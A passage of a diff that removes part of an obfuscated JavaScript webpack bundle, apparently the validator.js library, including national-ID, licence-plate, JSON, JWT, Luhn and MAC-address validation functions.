- for (var _0x153696 = parseInt(_0x42dbb4.slice(9, 10), 10), _0x3603e0 = 0, _0xe66f3e = 0; _0xe66f3e < 9; _0xe66f3e++) {
- _0x3603e0 += parseInt(_0x42dbb4.slice(_0xe66f3e, _0xe66f3e + 1), 10) * (10 - _0xe66f3e);
- }
- return (_0x3603e0 %= 11) < 2 && _0x153696 === _0x3603e0 || _0x3603e0 >= 2 && _0x153696 === 11 - _0x3603e0;
- },
- IT: function (_0x3766c7) {
- return 9 === _0x3766c7.length && "CA00000AA" !== _0x3766c7 && _0x3766c7.search(/C[A-Z][0-9]{5}[A-Z]{2}/i) > -1;
- },
- NO: function (_0x551cc9) {
- var _0x400d5a = _0x551cc9.trim();
- if (isNaN(Number(_0x400d5a))) {
- return false;
- }
- if (11 !== _0x400d5a.length) {
- return false;
- }
- if ("00000000000" === _0x400d5a) {
- return false;
- }
- var _0x141fe1 = _0x400d5a.split("").map(Number);
- var _0x1e2f12 = (11 - (3 * _0x141fe1[0] + 7 * _0x141fe1[1] + 6 * _0x141fe1[2] + 1 * _0x141fe1[3] + 8 * _0x141fe1[4] + 9 * _0x141fe1[5] + 4 * _0x141fe1[6] + 5 * _0x141fe1[7] + 2 * _0x141fe1[8]) % 11) % 11;
- var _0x530e0f = (11 - (5 * _0x141fe1[0] + 4 * _0x141fe1[1] + 3 * _0x141fe1[2] + 2 * _0x141fe1[3] + 7 * _0x141fe1[4] + 6 * _0x141fe1[5] + 5 * _0x141fe1[6] + 4 * _0x141fe1[7] + 3 * _0x141fe1[8] + 2 * _0x1e2f12) % 11) % 11;
- return _0x1e2f12 === _0x141fe1[9] && _0x530e0f === _0x141fe1[10];
- },
- TH: function (_0x48aa25) {
- if (!_0x48aa25.match(/^[1-8]\d{12}$/)) {
- return false;
- }
- for (var _0x5804e7 = 0, _0xaee51f = 0; _0xaee51f < 12; _0xaee51f++) {
- _0x5804e7 += parseInt(_0x48aa25[_0xaee51f], 10) * (13 - _0xaee51f);
- }
- return _0x48aa25[12] === ((11 - _0x5804e7 % 11) % 10).toString();
- },
- LK: function (_0x5c76d8) {
- return !(10 !== _0x5c76d8.length || !/^[1-9]\d{8}[vx]$/i.test(_0x5c76d8)) || !(12 !== _0x5c76d8.length || !/^[1-9]\d{11}$/i.test(_0x5c76d8));
- },
- "he-IL": function (_0x1f3b54) {
- var _0x3315d2 = _0x1f3b54.trim();
- if (!/^\d{9}$/.test(_0x3315d2)) {
- return false;
- }
- for (var _0x3f1588, _0x2b8c7e = _0x3315d2, _0x1567e7 = 0, _0x3f7ee2 = 0; _0x3f7ee2 < _0x2b8c7e.length; _0x3f7ee2++) {
- _0x1567e7 += (_0x3f1588 = Number(_0x2b8c7e[_0x3f7ee2]) * (_0x3f7ee2 % 2 + 1)) > 9 ? _0x3f1588 - 9 : _0x3f1588;
- }
- return _0x1567e7 % 10 == 0;
- },
- "ar-LY": function (_0x451c69) {
- var _0xc06d37 = _0x451c69.trim();
- return !!/^(1|2)\d{11}$/.test(_0xc06d37);
- },
- "ar-TN": function (_0x14781b) {
- var _0x227970 = _0x14781b.trim();
- return !!/^\d{8}$/.test(_0x227970);
- },
- "zh-CN": function (_0x5989e3) {
- var _0x2e62c7;
- var _0x567f6d = ["11", "12", "13", "14", "15", "21", "22", "23", "31", "32", "33", "34", "35", "36", "37", "41", "42", "43", "44", "45", "46", "50", "51", "52", "53", "54", "61", "62", "63", "64", "65", "71", "81", "82", "91"];
- var _0x149100 = ["7", "9", "10", "5", "8", "4", "2", "1", "6", "3", "7", "9", "10", "5", "8", "4", "2"];
- var _0x1db1cc = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
- var _0x5d3283 = function (_0x3b02c9) {
- return _0x567f6d.includes(_0x3b02c9);
- };
- var _0x260de5 = function (_0x562e66) {
- var _0x17f09d = parseInt(_0x562e66.substring(0, 4), 10);
- var _0xc139f3 = parseInt(_0x562e66.substring(4, 6), 10);
- var _0x169c7f = parseInt(_0x562e66.substring(6), 10);
- var _0x523d37 = new Date(_0x17f09d, _0xc139f3 - 1, _0x169c7f);
- return !(_0x523d37 > new Date()) && _0x523d37.getFullYear() === _0x17f09d && _0x523d37.getMonth() === _0xc139f3 - 1 && _0x523d37.getDate() === _0x169c7f;
- };
- return !!/^\d{15}|(\d{17}(\d|x|X))$/.test(_0x2e62c7 = _0x5989e3) && (15 === _0x2e62c7.length ? function (_0x181c82) {
- var _0x22ab17 = /^[1-9]\d{7}((0[1-9])|(1[0-2]))((0[1-9])|([1-2][0-9])|(3[0-1]))\d{3}$/.test(_0x181c82);
- if (!_0x22ab17) {
- return false;
- }
- var _0xffdd17 = _0x181c82.substring(0, 2);
- if (!(_0x22ab17 = _0x5d3283(_0xffdd17))) {
- return false;
- }
- var _0x3dcd53 = "19".concat(_0x181c82.substring(6, 12));
- return !!(_0x22ab17 = _0x260de5(_0x3dcd53));
- }(_0x2e62c7) : function (_0x3cb98f) {
- var _0x7f5419 = /^[1-9]\d{5}[1-9]\d{3}((0[1-9])|(1[0-2]))((0[1-9])|([1-2][0-9])|(3[0-1]))\d{3}(\d|x|X)$/.test(_0x3cb98f);
- if (!_0x7f5419) {
- return false;
- }
- var _0x3cf925 = _0x3cb98f.substring(0, 2);
- if (!(_0x7f5419 = _0x5d3283(_0x3cf925))) {
- return false;
- }
- var _0x39bcdb = _0x3cb98f.substring(6, 14);
- return !!(_0x7f5419 = _0x260de5(_0x39bcdb)) && function (_0x1f6a88) {
- return function (_0x3dd0ab) {
- for (var _0x3d1ce8 = _0x3dd0ab.substring(0, 17), _0x1548ef = 0, _0x39da03 = 0; _0x39da03 < 17; _0x39da03++) {
- _0x1548ef += parseInt(_0x3d1ce8.charAt(_0x39da03), 10) * parseInt(_0x149100[_0x39da03], 10);
- }
- return _0x1db1cc[_0x1548ef % 11];
- }(_0x1f6a88) === _0x1f6a88.charAt(17).toUpperCase();
- }(_0x3cb98f);
- }(_0x2e62c7));
- },
- "zh-HK": function (_0x53c3e5) {
- var _0x246afe = /^[0-9]$/;
- if (_0x53c3e5 = (_0x53c3e5 = _0x53c3e5.trim()).toUpperCase(), !/^[A-Z]{1,2}[0-9]{6}((\([0-9A]\))|(\[[0-9A]\])|([0-9A]))$/.test(_0x53c3e5)) {
- return false;
- }
- 8 === (_0x53c3e5 = _0x53c3e5.replace(/\[|\]|\(|\)/g, "")).length && (_0x53c3e5 = "3".concat(_0x53c3e5));
- for (var _0x38d064 = 0, _0x2d13d3 = 0; _0x2d13d3 <= 7; _0x2d13d3++) {
- _0x38d064 += (_0x246afe.test(_0x53c3e5[_0x2d13d3]) ? _0x53c3e5[_0x2d13d3] : (_0x53c3e5[_0x2d13d3].charCodeAt(0) - 55) % 11) * (9 - _0x2d13d3);
- }
- return (0 == (_0x38d064 %= 11) ? "0" : 1 === _0x38d064 ? "A" : String(11 - _0x38d064)) === _0x53c3e5[_0x53c3e5.length - 1];
- },
- "zh-TW": function (_0x2e4af0) {
- var _0x3e4b12 = {
- A: 10,
- B: 11,
- C: 12,
- D: 13,
- E: 14,
- F: 15,
- G: 16,
- H: 17,
- I: 34,
- J: 18,
- K: 19,
- L: 20,
- M: 21,
- N: 22,
- O: 35,
- P: 23,
- Q: 24,
- R: 25,
- S: 26,
- T: 27,
- U: 28,
- V: 29,
- W: 32,
- X: 30,
- Y: 31,
- Z: 33
- };
- var _0x50fb19 = _0x2e4af0.trim().toUpperCase();
- return !!/^[A-Z][0-9]{9}$/.test(_0x50fb19) && Array.from(_0x50fb19).reduce(function (_0x54fba6, _0x3eba03, _0x4c8cc9) {
- if (0 === _0x4c8cc9) {
- var _0x31b315 = _0x3e4b12[_0x3eba03];
- return _0x31b315 % 10 * 9 + Math.floor(_0x31b315 / 10);
- }
- return 9 === _0x4c8cc9 ? (10 - _0x54fba6 % 10 - Number(_0x3eba03)) % 10 == 0 : _0x54fba6 + Number(_0x3eba03) * (9 - _0x4c8cc9);
- }, 0);
- }
- };
- _0x5ca1b3.exports = _0x513dea.default;
- _0x5ca1b3.exports.default = _0x513dea.default;
- },
- 7228: (_0x2a1918, _0x28942b, _0x4909db) => {
- "use strict";
-
- Object.defineProperty(_0x28942b, "__esModule", {
- value: true
- });
- _0x28942b.default = function (_0x3ea610, _0x3612ba) {
- var _0x4b3f0a;
- if ((0, _0x400f15.default)(_0x3ea610), "[object Array]" === Object.prototype.toString.call(_0x3612ba)) {
- var _0x39d134 = [];
- for (_0x4b3f0a in _0x3612ba) ({}).hasOwnProperty.call(_0x3612ba, _0x4b3f0a) && (_0x39d134[_0x4b3f0a] = (0, _0x4622e5.default)(_0x3612ba[_0x4b3f0a]));
- return _0x39d134.indexOf(_0x3ea610) >= 0;
- }
- return "object" === _0xe14a43(_0x3612ba) ? _0x3612ba.hasOwnProperty(_0x3ea610) : !(!_0x3612ba || "function" != typeof _0x3612ba.indexOf) && _0x3612ba.indexOf(_0x3ea610) >= 0;
- };
- var _0x400f15 = _0x25f2c2(_0x4909db(5571));
- var _0x4622e5 = _0x25f2c2(_0x4909db(1913));
- function _0x25f2c2(_0x64d4c1) {
- return _0x64d4c1 && _0x64d4c1.__esModule ? _0x64d4c1 : {
- default: _0x64d4c1
- };
- }
- function _0xe14a43(_0x73c98d) {
- _0xe14a43 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x5bcb58) {
- return typeof _0x5bcb58;
- } : function (_0x15805d) {
- return _0x15805d && "function" == typeof Symbol && _0x15805d.constructor === Symbol && _0x15805d !== Symbol.prototype ? "symbol" : typeof _0x15805d;
- };
- return _0xe14a43(_0x73c98d);
- }
- _0x2a1918.exports = _0x28942b.default;
- _0x2a1918.exports.default = _0x28942b.default;
- },
- 937: (_0x3d280a, _0x5198f6, _0x5af6ff) => {
- "use strict";
-
- Object.defineProperty(_0x5198f6, "__esModule", {
- value: true
- });
- _0x5198f6.default = function (_0x107c0e, _0x551958) {
- (0, _0x10f55c.default)(_0x107c0e);
- var _0x1feede = (_0x551958 = _0x551958 || {}).hasOwnProperty("allow_leading_zeroes") && !_0x551958.allow_leading_zeroes ? _0x16b9c1 : _0x5789c0;
- var _0x69c51b = !_0x551958.hasOwnProperty("min") || _0x107c0e >= _0x551958.min;
- var _0x2bdbab = !_0x551958.hasOwnProperty("max") || _0x107c0e <= _0x551958.max;
- var _0x58d111 = !_0x551958.hasOwnProperty("lt") || _0x107c0e < _0x551958.lt;
- var _0x5f368a = !_0x551958.hasOwnProperty("gt") || _0x107c0e > _0x551958.gt;
- return _0x1feede.test(_0x107c0e) && _0x69c51b && _0x2bdbab && _0x58d111 && _0x5f368a;
- };
- var _0x4b29b5;
- var _0x10f55c = (_0x4b29b5 = _0x5af6ff(5571)) && _0x4b29b5.__esModule ? _0x4b29b5 : {
- default: _0x4b29b5
- };
- var _0x16b9c1 = /^(?:[-+]?(?:0|[1-9][0-9]*))$/;
- var _0x5789c0 = /^[-+]?[0-9]+$/;
- _0x3d280a.exports = _0x5198f6.default;
- _0x3d280a.exports.default = _0x5198f6.default;
- },
- 1008: (_0x371f8c, _0x36c692, _0x5dfbf8) => {
- "use strict";
-
- Object.defineProperty(_0x36c692, "__esModule", {
- value: true
- });
- _0x36c692.default = function (_0x998dda, _0x3e4251) {
- (0, _0x1d861a.default)(_0x998dda);
- try {
- _0x3e4251 = (0, _0x5bb182.default)(_0x3e4251, _0x25733b);
- var _0x5d4d0a = [];
- _0x3e4251.allow_primitives && (_0x5d4d0a = [null, false, true]);
- var _0x467e9b = JSON.parse(_0x998dda);
- return _0x5d4d0a.includes(_0x467e9b) || !!_0x467e9b && "object" === _0x57265e(_0x467e9b);
- } catch (_0x34bf31) {}
- return false;
- };
- var _0x1d861a = _0x3621ec(_0x5dfbf8(5571));
- var _0x5bb182 = _0x3621ec(_0x5dfbf8(4808));
- function _0x3621ec(_0x271f46) {
- return _0x271f46 && _0x271f46.__esModule ? _0x271f46 : {
- default: _0x271f46
- };
- }
- function _0x57265e(_0x3f53cf) {
- _0x57265e = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x8c527) {
- return typeof _0x8c527;
- } : function (_0x1aee7b) {
- return _0x1aee7b && "function" == typeof Symbol && _0x1aee7b.constructor === Symbol && _0x1aee7b !== Symbol.prototype ? "symbol" : typeof _0x1aee7b;
- };
- return _0x57265e(_0x3f53cf);
- }
- var _0x25733b = {
- allow_primitives: false
- };
- _0x371f8c.exports = _0x36c692.default;
- _0x371f8c.exports.default = _0x36c692.default;
- },
- 4979: (_0x2545d8, _0x322a2d, _0x41e021) => {
- "use strict";
-
- Object.defineProperty(_0x322a2d, "__esModule", {
- value: true
- });
- _0x322a2d.default = function (_0x2f2e85) {
- (0, _0x50e711.default)(_0x2f2e85);
- var _0x787e87 = _0x2f2e85.split(".");
- var _0x1329da = _0x787e87.length;
- return !(_0x1329da > 3 || _0x1329da < 2) && _0x787e87.reduce(function (_0x1a35b7, _0x1250e8) {
- return _0x1a35b7 && (0, _0x3a0b04.default)(_0x1250e8, {
- urlSafe: true
- });
- }, true);
- };
- var _0x50e711 = _0x1eb3ff(_0x41e021(5571));
- var _0x3a0b04 = _0x1eb3ff(_0x41e021(2689));
- function _0x1eb3ff(_0x1a9bc9) {
- return _0x1a9bc9 && _0x1a9bc9.__esModule ? _0x1a9bc9 : {
- default: _0x1a9bc9
- };
- }
- _0x2545d8.exports = _0x322a2d.default;
- _0x2545d8.exports.default = _0x322a2d.default;
- },
- 478: (_0x4bc223, _0x4cb78b, _0x38fbce) => {
- "use strict";
-
- Object.defineProperty(_0x4cb78b, "__esModule", {
- value: true
- });
- _0x4cb78b.default = function (_0x103025, _0x2759a2) {
- if ((0, _0x2e5e1c.default)(_0x103025), _0x2759a2 = (0, _0x3a4294.default)(_0x2759a2, _0x35f9a2), !_0x103025.includes(",")) {
- return false;
- }
- var _0x228af1 = _0x103025.split(",");
- return !(_0x228af1[0].startsWith("(") && !_0x228af1[1].endsWith(")") || _0x228af1[1].endsWith(")") && !_0x228af1[0].startsWith("(")) && (_0x2759a2.checkDMS ? _0x237eb5.test(_0x228af1[0]) && _0x36f006.test(_0x228af1[1]) : _0x7523d.test(_0x228af1[0]) && _0x4e1d7b.test(_0x228af1[1]));
- };
- var _0x2e5e1c = _0x3a9598(_0x38fbce(5571));
- var _0x3a4294 = _0x3a9598(_0x38fbce(4808));
- function _0x3a9598(_0x4e4679) {
- return _0x4e4679 && _0x4e4679.__esModule ? _0x4e4679 : {
- default: _0x4e4679
- };
- }
- var _0x7523d = /^\(?[+-]?(90(\.0+)?|[1-8]?\d(\.\d+)?)$/;
- var _0x4e1d7b = /^\s?[+-]?(180(\.0+)?|1[0-7]\d(\.\d+)?|\d{1,2}(\.\d+)?)\)?$/;
- var _0x237eb5 = /^(([1-8]?\d)\D+([1-5]?\d|60)\D+([1-5]?\d|60)(\.\d+)?|90\D+0\D+0)\D+[NSns]?$/i;
- var _0x36f006 = /^\s*([1-7]?\d{1,2}\D+([1-5]?\d|60)\D+([1-5]?\d|60)(\.\d+)?|180\D+0\D+0)\D+[EWew]?$/i;
- var _0x35f9a2 = {
- checkDMS: false
- };
- _0x4bc223.exports = _0x4cb78b.default;
- _0x4bc223.exports.default = _0x4cb78b.default;
- },
- 4958: (_0x400213, _0x33bf97, _0x2d0894) => {
- "use strict";
-
- Object.defineProperty(_0x33bf97, "__esModule", {
- value: true
- });
- _0x33bf97.default = function (_0x556bda, _0x13c2c6) {
- var _0x3043cf;
- var _0x233e64;
- (0, _0x59e6ab.default)(_0x556bda);
- "object" === _0x247584(_0x13c2c6) ? (_0x3043cf = _0x13c2c6.min || 0, _0x233e64 = _0x13c2c6.max) : (_0x3043cf = arguments[1] || 0, _0x233e64 = arguments[2]);
- var _0x58732b = _0x556bda.match(/(\uFE0F|\uFE0E)/g) || [];
- var _0xd1f3 = _0x556bda.match(/[\uD800-\uDBFF][\uDC00-\uDFFF]/g) || [];
- var _0x576972 = _0x556bda.length - _0x58732b.length - _0xd1f3.length;
- return _0x576972 >= _0x3043cf && (undefined === _0x233e64 || _0x576972 <= _0x233e64);
- };
- var _0x28fa45;
- var _0x59e6ab = (_0x28fa45 = _0x2d0894(5571)) && _0x28fa45.__esModule ? _0x28fa45 : {
- default: _0x28fa45
- };
- function _0x247584(_0x3bdfa4) {
- _0x247584 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x1f622c) {
- return typeof _0x1f622c;
- } : function (_0xb0c7d9) {
- return _0xb0c7d9 && "function" == typeof Symbol && _0xb0c7d9.constructor === Symbol && _0xb0c7d9 !== Symbol.prototype ? "symbol" : typeof _0xb0c7d9;
- };
- return _0x247584(_0x3bdfa4);
- }
- _0x400213.exports = _0x33bf97.default;
- _0x400213.exports.default = _0x33bf97.default;
- },
- 2786: (_0x836493, _0x4fb544, _0xe0d909) => {
- "use strict";
-
- Object.defineProperty(_0x4fb544, "__esModule", {
- value: true
- });
- _0x4fb544.default = function (_0x4f948b, _0x5ae99a) {
- if ((0, _0x5a99fc.default)(_0x4f948b), _0x5ae99a in _0x5d544e) {
- return _0x5d544e[_0x5ae99a](_0x4f948b);
- }
- if ("any" === _0x5ae99a) {
- for (var _0x54a199 in _0x5d544e) if ((0, _0x5d544e[_0x54a199])(_0x4f948b)) {
- return true;
- }
- return false;
- }
- throw new Error("Invalid locale '".concat(_0x5ae99a, "'"));
- };
- var _0x423ca1;
- var _0x5a99fc = (_0x423ca1 = _0xe0d909(5571)) && _0x423ca1.__esModule ? _0x423ca1 : {
- default: _0x423ca1
- };
- var _0x5d544e = {
- "cs-CZ": function (_0xf6b1f3) {
- return /^(([ABCDEFHIJKLMNPRSTUVXYZ]|[0-9])-?){5,8}$/.test(_0xf6b1f3);
- },
- "de-DE": function (_0x26a63a) {
- return /^((A|AA|AB|AC|AE|AH|AK|AM|AN|AÖ|AP|AS|AT|AU|AW|AZ|B|BA|BB|BC|BE|BF|BH|BI|BK|BL|BM|BN|BO|BÖ|BS|BT|BZ|C|CA|CB|CE|CO|CR|CW|D|DA|DD|DE|DH|DI|DL|DM|DN|DO|DU|DW|DZ|E|EA|EB|ED|EE|EF|EG|EH|EI|EL|EM|EN|ER|ES|EU|EW|F|FB|FD|FF|FG|FI|FL|FN|FO|FR|FS|FT|FÜ|FW|FZ|G|GA|GC|GD|GE|GF|GG|GI|GK|GL|GM|GN|GÖ|GP|GR|GS|GT|GÜ|GV|GW|GZ|H|HA|HB|HC|HD|HE|HF|HG|HH|HI|HK|HL|HM|HN|HO|HP|HR|HS|HU|HV|HX|HY|HZ|IK|IL|IN|IZ|J|JE|JL|K|KA|KB|KC|KE|KF|KG|KH|KI|KK|KL|KM|KN|KO|KR|KS|KT|KU|KW|KY|L|LA|LB|LC|LD|LF|LG|LH|LI|LL|LM|LN|LÖ|LP|LR|LU|M|MA|MB|MC|MD|ME|MG|MH|MI|MK|ML|MM|MN|MO|MQ|MR|MS|MÜ|MW|MY|MZ|N|NB|ND|NE|NF|NH|NI|NK|NM|NÖ|NP|NR|NT|NU|NW|NY|NZ|OA|OB|OC|OD|OE|OF|OG|OH|OK|OL|OP|OS|OZ|P|PA|PB|PE|PF|PI|PL|PM|PN|PR|PS|PW|PZ|R|RA|RC|RD|RE|RG|RH|RI|RL|RM|RN|RO|RP|RS|RT|RU|RV|RW|RZ|S|SB|SC|SE|SG|SI|SK|SL|SM|SN|SO|SP|SR|ST|SU|SW|SY|SZ|TE|TF|TG|TO|TP|TR|TS|TT|TÜ|ÜB|UE|UH|UL|UM|UN|V|VB|VG|VK|VR|VS|W|WA|WB|WE|WF|WI|WK|WL|WM|WN|WO|WR|WS|WT|WÜ|WW|WZ|Z|ZE|ZI|ZP|ZR|ZW|ZZ)[- ]?[A-Z]{1,2}[- ]?\d{1,4}|(ABG|ABI|AIB|AIC|ALF|ALZ|ANA|ANG|ANK|APD|ARN|ART|ASL|ASZ|AUR|AZE|BAD|BAR|BBG|BCH|BED|BER|BGD|BGL|BID|BIN|BIR|BIT|BIW|BKS|BLB|BLK|BNA|BOG|BOH|BOR|BOT|BRA|BRB|BRG|BRK|BRL|BRV|BSB|BSK|BTF|BÜD|BUL|BÜR|BÜS|BÜZ|CAS|CHA|CLP|CLZ|COC|COE|CUX|DAH|DAN|DAU|DBR|DEG|DEL|DGF|DIL|DIN|DIZ|DKB|DLG|DON|DUD|DÜW|EBE|EBN|EBS|ECK|EIC|EIL|EIN|EIS|EMD|EMS|ERB|ERH|ERK|ERZ|ESB|ESW|FDB|FDS|FEU|FFB|FKB|FLÖ|FOR|FRG|FRI|FRW|FTL|FÜS|GAN|GAP|GDB|GEL|GEO|GER|GHA|GHC|GLA|GMN|GNT|GOA|GOH|GRA|GRH|GRI|GRM|GRZ|GTH|GUB|GUN|GVM|HAB|HAL|HAM|HAS|HBN|HBS|HCH|HDH|HDL|HEB|HEF|HEI|HER|HET|HGN|HGW|HHM|HIG|HIP|HMÜ|HOG|HOH|HOL|HOM|HOR|HÖS|HOT|HRO|HSK|HST|HVL|HWI|IGB|ILL|JÜL|KEH|KEL|KEM|KIB|KLE|KLZ|KÖN|KÖT|KÖZ|KRU|KÜN|KUS|KYF|LAN|LAU|LBS|LBZ|LDK|LDS|LEO|LER|LEV|LIB|LIF|LIP|LÖB|LOS|LRO|LSZ|LÜN|LUP|LWL|MAB|MAI|MAK|MAL|MED|MEG|MEI|MEK|MEL|MER|MET|MGH|MGN|MHL|MIL|MKK|MOD|MOL|MON|MOS|MSE|MSH|MSP|MST|MTK|MTL|MÜB|MÜR|MYK|MZG|NAB|NAI|NAU|NDH|NEA|NEB|NEC|NEN|NES|NEW|NMB|NMS|NOH|NOL|NOM|NOR|NVP|NWM|OAL|OBB|OBG|OCH|OHA|ÖHR|OHV|OHZ|OPR|OSL|OVI|OVL|OVP|PAF|PAN|PAR|PCH|PEG|PIR|PLÖ|PRÜ|QFT|QLB|RDG|REG|REH|REI|RID|RIE|ROD|ROF|ROK|ROL|ROS|ROT|ROW|RSL|RÜD|RÜG|SAB|SAD|SAN|SAW|SBG|SBK|SCZ|SDH|SDL|SDT|SEB|SEE|SEF|SEL|SFB|SFT|SGH|SHA|SHG|SHK|SHL|SIG|SIM|SLE|SLF|SLK|SLN|SLS|SLÜ|SLZ|SMÜ|SOB|SOG|SOK|SÖM|SON|SPB|SPN|SRB|SRO|STA|STB|STD|STE|STL|SUL|SÜW|SWA|SZB|TBB|TDO|TET|TIR|TÖL|TUT|UEM|UER|UFF|USI|VAI|VEC|VER|VIB|VIE|VIT|VOH|WAF|WAK|WAN|WAR|WAT|WBS|WDA|WEL|WEN|WER|WES|WHV|WIL|WIS|WIT|WIZ|WLG|WMS|WND|WOB|WOH|WOL|WOR|WOS|WRN|WSF|WST|WSW|WTL|WTM|WUG|WÜM|WUN|WUR|WZL|ZEL|ZIG)[- ]?(([A-Z][- ]?\d{1,4})|([A-Z]{2}[- ]?\d{1,3})))[- ]?(E|H)?$/.test(_0x26a63a);
- },
- "de-LI": function (_0x335b04) {
- return /^FL[- ]?\d{1,5}[UZ]?$/.test(_0x335b04);
- },
- "en-IN": function (_0x482672) {
- return /^[A-Z]{2}[ -]?[0-9]{1,2}(?:[ -]?[A-Z])(?:[ -]?[A-Z]*)?[ -]?[0-9]{4}$/.test(_0x482672);
- },
- "es-AR": function (_0x3e4bfc) {
- return /^(([A-Z]{2} ?[0-9]{3} ?[A-Z]{2})|([A-Z]{3} ?[0-9]{3}))$/.test(_0x3e4bfc);
- },
- "fi-FI": function (_0xfbe1f8) {
- return /^(?=.{4,7})(([A-Z]{1,3}|[0-9]{1,3})[\s-]?([A-Z]{1,3}|[0-9]{1,5}))$/.test(_0xfbe1f8);
- },
- "hu-HU": function (_0xb9d063) {
- return /^((((?!AAA)(([A-NPRSTVZWXY]{1})([A-PR-Z]{1})([A-HJ-NPR-Z]))|(A[ABC]I)|A[ABC]O|A[A-W]Q|BPI|BPO|UCO|UDO|XAO)-(?!000)\d{3})|(M\d{6})|((CK|DT|CD|HC|H[ABEFIKLMNPRSTVX]|MA|OT|R[A-Z]) \d{2}-\d{2})|(CD \d{3}-\d{3})|(C-(C|X) \d{4})|(X-(A|B|C) \d{4})|(([EPVZ]-\d{5}))|(S A[A-Z]{2} \d{2})|(SP \d{2}-\d{2}))$/.test(_0xb9d063);
- },
- "pt-BR": function (_0x3a1313) {
- return /^[A-Z]{3}[ -]?[0-9][A-Z][0-9]{2}|[A-Z]{3}[ -]?[0-9]{4}$/.test(_0x3a1313);
- },
- "pt-PT": function (_0x171887) {
- return /^([A-Z]{2}|[0-9]{2})[ -·]?([A-Z]{2}|[0-9]{2})[ -·]?([A-Z]{2}|[0-9]{2})$/.test(_0x171887);
- },
- "sq-AL": function (_0x4ecb62) {
- return /^[A-Z]{2}[- ]?((\d{3}[- ]?(([A-Z]{2})|T))|(R[- ]?\d{3}))$/.test(_0x4ecb62);
- },
- "sv-SE": function (_0x211dfd) {
- return /^[A-HJ-PR-UW-Z]{3} ?[\d]{2}[A-HJ-PR-UW-Z1-9]$|(^[A-ZÅÄÖ ]{2,7}$)/.test(_0x211dfd.trim());
- }
- };
- _0x836493.exports = _0x4fb544.default;
- _0x836493.exports.default = _0x4fb544.default;
- },
- 7380: (_0x13efab, _0x23e93e, _0x3b920b) => {
- "use strict";
-
- Object.defineProperty(_0x23e93e, "__esModule", {
- value: true
- });
- _0x23e93e.default = function (_0x23e71a) {
- (0, _0x30011b.default)(_0x23e71a);
- return "en_US_POSIX" === _0x23e71a || "ca_ES_VALENCIA" === _0x23e71a || _0x5a18c7.test(_0x23e71a);
- };
- var _0x984e8c;
- var _0x30011b = (_0x984e8c = _0x3b920b(5571)) && _0x984e8c.__esModule ? _0x984e8c : {
- default: _0x984e8c
- };
- var _0x5a18c7 = /^[A-Za-z]{2,4}([_-]([A-Za-z]{4}|[\d]{3}))?([_-]([A-Za-z]{2}|[\d]{3}))?$/;
- _0x13efab.exports = _0x23e93e.default;
- _0x13efab.exports.default = _0x23e93e.default;
- },
- 3928: (_0x642f66, _0xa69d78, _0x26905c) => {
- "use strict";
-
- Object.defineProperty(_0xa69d78, "__esModule", {
- value: true
- });
- _0xa69d78.default = function (_0x589805) {
- (0, _0x418bc8.default)(_0x589805);
- return _0x589805 === _0x589805.toLowerCase();
- };
- var _0x57c55a;
- var _0x418bc8 = (_0x57c55a = _0x26905c(5571)) && _0x57c55a.__esModule ? _0x57c55a : {
- default: _0x57c55a
- };
- _0x642f66.exports = _0xa69d78.default;
- _0x642f66.exports.default = _0xa69d78.default;
- },
- 1592: (_0x38f885, _0x46690c, _0x447bf0) => {
- "use strict";
-
- Object.defineProperty(_0x46690c, "__esModule", {
- value: true
- });
- _0x46690c.default = function (_0x27849d) {
- (0, _0x6c6468.default)(_0x27849d);
- for (var _0x576ea1, _0x8f1e79, _0x1c263e, _0x4e31d9 = _0x27849d.replace(/[- ]+/g, ""), _0x5788ba = 0, _0x555444 = _0x4e31d9.length - 1; _0x555444 >= 0; _0x555444--) {
- _0x576ea1 = _0x4e31d9.substring(_0x555444, _0x555444 + 1);
- _0x8f1e79 = parseInt(_0x576ea1, 10);
- _0x5788ba += _0x1c263e && (_0x8f1e79 *= 2) >= 10 ? _0x8f1e79 % 10 + 1 : _0x8f1e79;
- _0x1c263e = !_0x1c263e;
- }
- return !(_0x5788ba % 10 != 0 || !_0x4e31d9);
- };
- var _0x429d21;
- var _0x6c6468 = (_0x429d21 = _0x447bf0(5571)) && _0x429d21.__esModule ? _0x429d21 : {
- default: _0x429d21
- };
- _0x38f885.exports = _0x46690c.default;
- _0x38f885.exports.default = _0x46690c.default;
- },
- 8999: (_0x5e5f99, _0x1c1d12, _0x216c0c) => {
- "use strict";
-
- Object.defineProperty(_0x1c1d12, "__esModule", {
- value: true
- });
- _0x1c1d12.default = function _0x4b12dc(_0x35bbc7, _0x324d47) {
- (0, _0x4c2573.default)(_0x35bbc7);
- null != _0x324d47 && _0x324d47.eui && (_0x324d47.eui = String(_0x324d47.eui));
- return null != _0x324d47 && _0x324d47.no_colons || null != _0x324d47 && _0x324d47.no_separators ? "48" === _0x324d47.eui ? _0x551c87.test(_0x35bbc7) : "64" === _0x324d47.eui ? _0x56563c.test(_0x35bbc7) : _0x551c87.test(_0x35bbc7) || _0x56563c.test(_0x35bbc7) : "48" === (null == _0x324d47 ? undefined : _0x324d47.eui) ? _0xf63e92.test(_0x35bbc7) || _0x4b1811.test(_0x35bbc7) : "64" === (null == _0x324d47 ? undefined : _0x324d47.eui) ? _0x13608f.test(_0x35bbc7) || _0x1a20b3.test(_0x35bbc7) : _0x4b12dc(_0x35bbc7, {
- eui: "48"
- }) || _0x4b12dc(_0x35bbc7, {
- eui: "64"
- });
- };
- var _0x260c8f;
- var _0x4c2573 = (_0x260c8f = _0x216c0c(5571)) && _0x260c8f.__esModule ? _0x260c8f : {
- default: _0x260c8f
- };
- var _0xf63e92 = /^(?:[0-9a-fA-F]{2}([-:\s]))([0-9a-fA-F]{2}\1){4}([0-9a-fA-F]{2})$/;
- var _0x551c87 = /^([0-9a-fA-F]){12}$/;
- var _0x4b1811 = /^([0-9a-fA-F]{4}\.){2}([0-9a-fA-F]{4})$/;
- var _0x13608f = /^(?:[0-9a-fA-F]{2}([-:\s]))([0-9a-fA-F]{2}\1){6}([0-9a-fA-F]{2})$/;
- var _0x56563c = /^([0-9a-fA-F]){16}$/;
- var _0x1a20b3 = /^([0-9a-fA-F]{4}\.){3}([0-9a-fA-F]{4})$/;
- _0x5e5f99.exports = _0x1c1d12.default;
- _0x5e5f99.exports.default = _0x1c1d12.default;
- },
- 368: (_0x595d0d, _0x440ea6, _0x482e3b) => {
- "use strict";
-
